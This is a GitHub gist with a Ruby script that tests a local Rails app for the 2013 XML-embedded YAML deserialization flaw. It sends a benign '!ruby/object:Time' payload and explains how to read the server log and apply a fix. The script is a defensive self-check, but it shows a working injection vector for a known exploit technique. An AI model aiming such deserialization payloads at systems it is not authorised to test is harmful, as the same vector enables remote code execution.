-
-
Save bagwanpankaj/4704988 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#you can copy this into IRB or just run it as a file | |
require "net/http" | |
require "uri" | |
url = "http://localhost:3000/login" | |
yaml = %{ --- !ruby/object:Time {} } | |
xml = %{<?xml version="1.0" encoding="UTF-8"?><foo type="yaml">#{yaml}</foo>}.strip | |
uri = URI.parse(url) | |
http = Net::HTTP.new(uri.host, uri.port) | |
request = Net::HTTP::Post.new(uri.request_uri) | |
request.body = xml | |
request["Content-Type"] = "application/xml" | |
puts http.request(request) | |
#Check your server's log files, if you see that 'foo' is an actual timestamp, you've got a problem | |
#Processing SessionController#new (for 127.0.0.1 at 2013-01-16 18:22:02) [POST] | |
#Parameters: {"action"=>"new", "foo"=>Wed Dec 31 18:00:00 -0600 1969, "controller"=>"session"} | |
# using the initializer file from https://gist.github.com/4505417 is a quick way to prevent the problem | |
# log file then shows | |
# Parameters: {"action"=>"new", "controller"=>"session"} | |
# I got the stuff I needed from | |
# http://news.ycombinator.com/item?id=5035641 | |
# http://ronin-ruby.github.com/blog/2013/01/09/rails-pocs.html |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment